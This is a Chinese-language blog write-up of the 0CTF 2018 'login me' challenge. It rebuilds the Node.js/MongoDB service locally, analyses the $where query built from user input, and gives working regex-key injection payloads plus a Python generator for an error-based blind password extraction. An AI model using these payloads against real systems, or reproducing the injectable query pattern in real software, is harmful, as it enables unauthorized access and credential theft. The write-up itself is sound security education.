Sky's blog

0ctf-login me

Word count: 4,738 / Reading time: 22 min
2018/04/09 Share

前记

一直想复现0ctf的题目,ezdoor就不说了,当时做完了web的部分,但是拿下来的文件opcache少了个00我也是服了,后来的反编译一直报错,想到就心塞….
今天又想起来另一道给了源码的题目,就是login me,说实话,复现这题也是为了自己学习新的语言,给自己一些挑战,毕竟是nodejs+mongodb,之前自己都没有接触过这方面的开发,只是有略微了解。所以也可以说又是一次标准的零基础日题了~

环境搭建

mongodb搭建

首先是下载

1
curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-3.0.6.tgz

然后就出问题了,如图:

解决方案

1
subl /etc/resolv.conf

添加

1
2
3
4
5
6
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 198.153.192.1
nameserver 198.153.194.1
nameserver 208.67.222.222
nameserver 208.67.220.220

然后

1
service NetworkManager restart

即可
下载完成后

1
tar -zxvf mongodb-linux-x86_64-3.0.6.tgz

解压后启动mongodb

1
cd ./mongodb-linux-x86_64-3.0.6/bin/

启动

1
./mongod

报错

1
2
2018-04-08T17:19:33.264-0700 I STORAGE  [initandlisten] exception in initAndListen: 29 Data directory /data/db not found., terminating
2018-04-08T17:19:33.264-0700 I CONTROL [initandlisten] dbexit: rc: 100

发现没有/data/db,我们去创建

1
mkdir -p /data/db

再启动,启动完成后,我们尝试

发现成功

安装nodejs

sudo apt-get install nodejs
sudo apt-get install npm
测试

发现安装完毕
后尝试node指令,发现继续报错,发现未安装完毕

1
apt install nodejs-legacy

即可解决

启动服务

启动我们的js文件

1
node index.js

继续报错
发现模块没安装(和python差不多)
于是装模块

1
2
3
4
npm install express
npm install moment
npm install mongodb
npm install body-parser

装完后

1
node index.js

继续警告

1
body-parser deprecated undefined extended: provide extended option fuck.js:4:20

修改index.js

1
2
// app.use(bodyParser.urlencoded({}));
app.use(bodyParser.urlencoded({extended:false}));

用后者即可解决
继续运行

1
node.js

发现各种报错
比如

1
Error: Can't set headers after they are sent.

进程直接崩了
无奈,手动修改源码,改了若干处,用了catch捕捉,和next(),最后可运行脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
// app.use(bodyParser.urlencoded({}));
app.use(bodyParser.urlencoded({extended:false}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "21851bc21ae9085346b99e469bdb845f";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res,next) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid)
{
res.send('Nope');
return next();
}
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e)
{
console.log('\r\n', e, '\r\n', e.stack);
try {
res.end(e.stack);
}
catch(e) { }
return next()
}
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});

由于本地复现,我就不把flag处理了,就是

1
flag{21851bc21ae9085346b99e469bdb845f}

然后

1
mongodb://localhost:27017/

默认开在27017端口,所以不用管
此时去查看表和数据是否正常

1
2
> db.users.find()
{ "_id" : ObjectId("5acb11582be7bd70afb9d4c3"), "username" : "admin", "last_access" : "2018-04-09 00:08:08 -07:00", "password_6ya2mt945d9jatt9" : "21851bc21ae9085346b99e469bdb845f" }

发现一切正常,环境最终搭建完毕
心里一万句mmp

源码分析

这里就直接分析题目当时泄露的源码了,虽然对nodejs不了解..但毕竟都是代码,强行读还是能读的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})
app.listen(8081)
});

首先看前面一堆定义

1
2
3
4
5
6
7
8
var express = require('express')
var app = express()
var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));
var path = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

大致就是引入模块,和python差不多

1
2
3
4
5
express
body-parser
path
moment
mongodb

然后是nodejs与mongodb的连接

1
2
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

紧接着看操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MongoClient.connect(url, function(err, db) {
if (err) throw err;
dbo = db.db("test_db");
var collection_name = "users";
var password_column = "password_"+Math.random().toString(36).slice(2)
var password = "XXXXXXXXXXXXXXXXXXXXXX";
// flag is flag{password}
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);

连接上后,得到几个关键信息
数据库名:test_db
表名:users
字段名:
username
last_access
以及随机生成的password列名

1
password_"+Math.random().toString(36).slice(2)

结果大致这样

1
password_6ya2mt945d9jatt9

然后数据如下

1
2
var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
myobj[password_column] = password;

其中password就是我们需要的flag
然后进行操作

1
2
3
4
5
6
dbo.collection(collection_name).remove({});
dbo.collection(collection_name).update(
{ name: myobj.name },
myobj,
{ upsert: true }
);

把之前的都删了,然后更新成最新的
也就是说,password这一列的列名每个人都不一样,但是对应的数据不会变,也就是flag
等于给我们的注入加大了难度,即无列名注入
然后接着看两个路由,又想到了python…..

1
2
app.get('/', function (req, res)
app.post('/check', function (req, res)

先看get方法的路由

1
2
3
app.get('/', function (req, res) {
res.sendFile(path.join(__dirname,'index.html'));
})

没什么特别的,就是你直接访问这个页面,会打印index.html的源代码
然后看post方法的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.post('/check', function (req, res) {
var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}
var query = {"$where" : check_function};
var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
if(e) throw e;
res.send('ok');
// ... implementing, plz dont release this.
});
})

这里就是一个拼接,大致上就是看你post的username和password是否带有危险参数

1
2
3
#
(
)

携带了就返回nope
若未携带,则进行拼接查询,将结果的last_access时间更改为最新的,然后返回ok
这里为了明显,我举个例子
比如我们post数据

1
username=admin&password=2

经过他的处理变成

1
if(this.username == "admin" && "admin" == "admin" && hex_md5("2") == this.password_f47ta8usnzrozuxr){ return 1; }else{ return 0;}

然后查询是否有

1
2
username = admin
password = md5(2)

的数据
如果有,则更新这条数据的最后登入时间,反则不操作
并且一律返回ok
所以,只要没带危险字符都是返回ok
然后最后是服务端口

1
app.listen(8081)

即服务跑在8081端口上

攻击点思考

一点一点思考,虽然没做过nodejs相关的知识学习,但是至少sql注入做的不少
对于返回一律是相同的操作,注入无非两种方式:
报错注入
时间盲注
经过随手测试

1
username[]=admin&password=2

发现竟然会报错

1
2
3
4
5
6
7
8
9
10
11
MongoError: exception: SyntaxError: Unexpected token ILLEGAL
at /var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:595:61
at authenticateStragglers (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:513:16)
at null.messageHandler (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:549:5)
at emitMessageHandler (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/connection.js:309:10)
at Socket.<anonymous> (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/connection.js:452:17)
at emitOne (events.js:77:13)
at Socket.emit (events.js:169:7)
at readableAddChunk (_stream_readable.js:146:16)
at Socket.Readable.push (_stream_readable.js:110:10)
at TCP.onread (net.js:523:20)

那么意味着可能无需进行时间注入
但是从另一个角度思考
我们没有括号,并且不知道列名
攻击对象是mongodb
这里需要知道mongodb是nosql的一种,和我们之前做过的mysql等不太一样
那么突破口在哪里呢?
我们可以看见,代码中的username和password是直接进行拼接的
那我们能不能构造代码注入之类的呢?
替换点在

1
2
3
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))

那么这里的RegExp和stringify会不会有问题呢?
我们重点分析一下下面这个流程

1
2
3
4
5
6
7
for(var k in req.body){
var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
if(!valid) res.send('Nope');
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}

把恶意字符检测部分去掉

1
2
3
4
5
6
for(var k in req.body)
{
check_function = check_function.replace(
new RegExp('#'+k+'#','gm')
,JSON.stringify(req.body[k]))
}

k是什么?
我们测试一下

1
2
3
4
5
var req = Array();
req.body = {'username':'admin','password':'123'};
for(var k in req.body){
console.log(k);
}

打印出结果

1
2
username
password

我继续测试

1
2
3
4
5
var req = Array();
req.body = {'username':'admin','password':'123','skysec.top':'1111','testtest':'123'};
for(var k in req.body){
console.log(k);
}

打印结果

1
2
3
4
username
password
skysec.top
testtest

(注:这里由于我不了解nodejs,所以我类比一下php的称呼)
很明显,req.body是一个键值数组,而k正是键名
那么

1
new RegExp('#'+k+'#','gm')

是什么意思呢?
意思也很简单

1
2
3
4
g
全局匹配
m
多行;让开始和结束字符(^ 和 $)工作在多行模式工作(例如,^ 和 $ 可以匹配字符串中每一行的开始和结束(行是由 \n 或 \r 分割的),而不只是整个输入字符串的最开始和最末尾处。

合起来就是匹配

1
#键名#

这样的字符串
然后格式化一下

1
JSON.stringify(req.body[k])

即用值代替
这样例如

1
#username#

这样的字符串就被替换成了值

1
admin

但是这样显然引发了严重的错误
因为这个req.body的内容我们可控
即我们可控键名和值
那么这个时候,注意到正则

1
new RegExp('#'+k+'#','gm')

如果这个k我们可控,我们能否构造恶意代码呢?

正则大法

这么一道看似注入的题目,实则就是在考正则表达式
心里一万只cnm飞奔,可以说非常难受了
如果没有正则基础的那么解决这个题会非常难受
考虑到这是面向零基础的文章
所以直接分析payload的构造了
否则讲正则的话能写一本书了
这里给出参考文章

1
https://coxxs.me/676

以及最后的payload

1
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B

解码后我们得到的req.body为

1
'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'

为了方便查看
我们看一下有哪些键名

1
2
3
4
5
6
7
username
?(?=\){)|1
?== this.|1
?hex.*?rd.*?"|1
?"(?=\\))|1
?0;|1
?skysec.top|1

?….|1

这个正则出现频率很高,可以说每一个键名里都出现了
那么这个正则的作用是什么呢?
我们拆分分析

1
2
?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符

这里的

1
?

用于匹配前面的

1
#

然后

1
....

这部分是我们自己构造的正则
最后

1
|1

我们看一下

1
2
|
指明两项之间的一个选择

所以

1
|1

即如果前面匹配成功,则不再往后匹配
所以这样一来,就导致#对于我们自己填写的正则无任何作用,作用的一直是我们自己构造的正则
解决了两个#的正则问题,我们现在来解决替换内容的问题

第一个键名解析

第一个

1
?(?=\){)|1


1
(?=\){)

去掉转义

1
(?=){)

再去掉最外面包裹的括号

1
?=){

显而易见了
这里提及一个知识点,叫做断言,只匹配一个位置
比如,你想匹配一个”人”字,但是你只想匹配中国人的人字,不想匹配法国人的人
就可以用一下表达式

1
(?=中国)人

这里即匹配

1
){

然后看他的值

1
] +

那么我们的check_fuction变为

1
2
3
4
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}

这一步的作用为:
为构造

1
this["password_column"]

铺垫

第二个键名解析

看第二个键

1
?== this.|1

去掉外层包裹

1
== this.

这个就很通俗易懂了:匹配== this.这个字符串
然后看他的值

1
<=this[

那么我们的check_fuction继续变为

1
2
3
4
if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) "<=this["password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}

这一步的作用也很明显
构造出比较符

1
<=

并且彻底闭合我们的

1
this["password_column"]

第三个键名解析

然后看第三个键

1
?hex.*?rd.*?"|1

去掉外层包裹

1
hex.*?rd.*?"

很显然这里的意思就是匹配

1
hex_md5(#password#)

这样的东西
然后值我这里设置为123
然后我们的check_fuction变为

1
2
3
4
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +"){
return 1;
}else{
return 0;}

这里的作用是最关键的,即将之前难以下手的hex_md5直接替换成任意值,即我们想要注出的password

第四个键名解析

然后看第四个键

1
?"(?=\))|1

去掉外层包裹

1
"(?=\))

这里还是之前所说的断言,和中国人的例子
我们想匹配一个”人”字,但是只想匹配中国人的人字,不想匹配法国人的人
就可以用一下表达式

1
(?=中国)人

那么这里只想匹配双引号
并且是后面有)的双引号
然后值为

1
""

然后我们的check_fuction变为

1
2
3
4
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return 0;}

这一步的作用即闭合引号

第五个键名解析

然后看第五个键

1
?0;|1

去掉外层包裹

1
0;

这里的意思也很简单
就是匹配

1
0;

这个字符串
对应的值为

1
skysec.top

然后我们的check_function变为

1
2
3
4
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return "skysec.top"}

这一步的作用就是将return后的值变成一个特殊字符(skysec.top),方便后面的操作

第六个键名解析

然后最后一个键

1
?skysec.top|1

去掉外层包裹

1
skysec.top

即匹配skysec.top字符串
然后替换为值

1
'+a+'

最后我们得到的check_function为

1
2
3
4
if(this.username == "admin" && "admin" == "admin" && "123"<=this["password_6ya2mt945d9jatt9"] +""){
return 1;
}else{
return ""+a+""}

这样分析就十分的简单了
即如果我们前面猜测的password(123)小于等于正确的password,那么将return 1
此时程序正常
但若我们猜测的password(999)大于正确的password,则return a
显然不存在这个定义的a,那么程序将会抛出错误
由此我们即可构造注入

payload构造

综合上述,我们写出一个可利用的payload转化脚本

1
2
3
4
5
6
7
8
import urllib
payload = ""
string = 'username:admin,?(?=\\){)|1:] +,?== this.|1:<=this[,?hex.*?rd.*?"|1:9,?"(?=\\))|1:,?0;|1:skysec.top,?skysec.top|1:+a+'
num = string.split(",")
for i in num:
tmp = i.split(":")
payload += urllib.quote(tmp[0])+"="+urllib.quote(tmp[1])+"&"
print payload[:-1]

生成payload

1
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=9&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B

此时我们猜测的password为9,此时post该数据,可以发现页面报错

1
2
3
4
5
6
7
8
MongoError: ReferenceError: a is not defined
at _funcs1 (_funcs1:4:11) near '""}' (line 4)
at Function.MongoError.create (/var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/error.js:45:10)
at toError (/var/challenge/0ctf-loginme/node_modules/mongodb/lib/utils.js:149:22)
at /var/challenge/0ctf-loginme/node_modules/mongodb/lib/collection.js:1035:39
at /var/challenge/0ctf-loginme/node_modules/mongodb-core/lib/connection/pool.js:541:18
at nextTickCallbackWith0Args (node.js:419:9)
at process._tickCallback (node.js:348:13)

和我们之前的预想一样,a未被定义,说明9比正确password的首位大
我们改成1

1
username=admin&%3F%28%3F%3D%5C%29%7B%29%7C1=%5D%20%2B&%3F%3D%3D%20this.%7C1=%3C%3Dthis%5B&%3Fhex.%2A%3Frd.%2A%3F%22%7C1=1&%3F%22%28%3F%3D%5C%29%29%7C1=&%3F0%3B%7C1=skysec.top&%3Fskysec.top%7C1=%2Ba%2B

可以发现页面正常返回ok
由此,我们之前的预想全部正确,但是在编写脚本的时候又遇到了新的问题
因为传递的data在python里是dict
dict在post时候会根据键名自己排序
变成了

1
{'username': 'admin', '?0;|1': 'skysec.top', '?hex.*?rd.*?"|1': 'f', '?(?=\\){)|1': '] +', '?skysec.top|1': '+a+', '?"(?=\\))|1': '', '?== this.|1': '<=this['}

这和我们的预期顺序

1
{'username':'admin','?(?=\\){)|1':'] +','?== this.|1':'<=this[','?hex.*?rd.*?"|1':'123','?"(?=\\))|1':'','?0;|1':'skysec.top','?skysec.top|1':'+a+'}

显然不符,这就导致了问题
因为Nodejs不是php指定参数名,我们传递的顺序正是req.body的顺序
但是正则匹配正是根据req.body的顺序,逐个替换
如果req.body里面的值相同,但顺序不一样,也会导致正则替换的严重错误
比如,预想中,我们第2个值的替换是为第3个值做铺垫,现在第2和第3换了个位置,就会越过我们的预期,导致错误。
所以最后还是选择了burp直接跑即可
最后运行后即可获得flag

1
21851bc21ae9085346b99e469bdb845f

和我们最初设置的值一致,故此,此题完结

后记

这个题因为我基础比较薄弱,我整整搞了大半天,正则真的是博大精深
不过知识也学到了许多,今后再有nodejs或是mongodb的题我也不会慌乱了
也很希望大家多多尝试自己搭建有源码的题目,不但能提高自己配置环境的能力,也能提高自己解决问题的能力!

CATALOG
  1. 1. 前记
  2. 2. 环境搭建
    1. 2.1. mongodb搭建
    2. 2.2. 安装nodejs
    3. 2.3. 启动服务
  3. 3. 源码分析
  4. 4. 攻击点思考
  5. 5. 正则大法
    1. 5.1. ?….|1
    2. 5.2. 第一个键名解析
    3. 5.3. 第二个键名解析
    4. 5.4. 第三个键名解析
    5. 5.5. 第四个键名解析
    6. 5.6. 第五个键名解析
    7. 5.7. 第六个键名解析
  6. 6. payload构造
  7. 7. 后记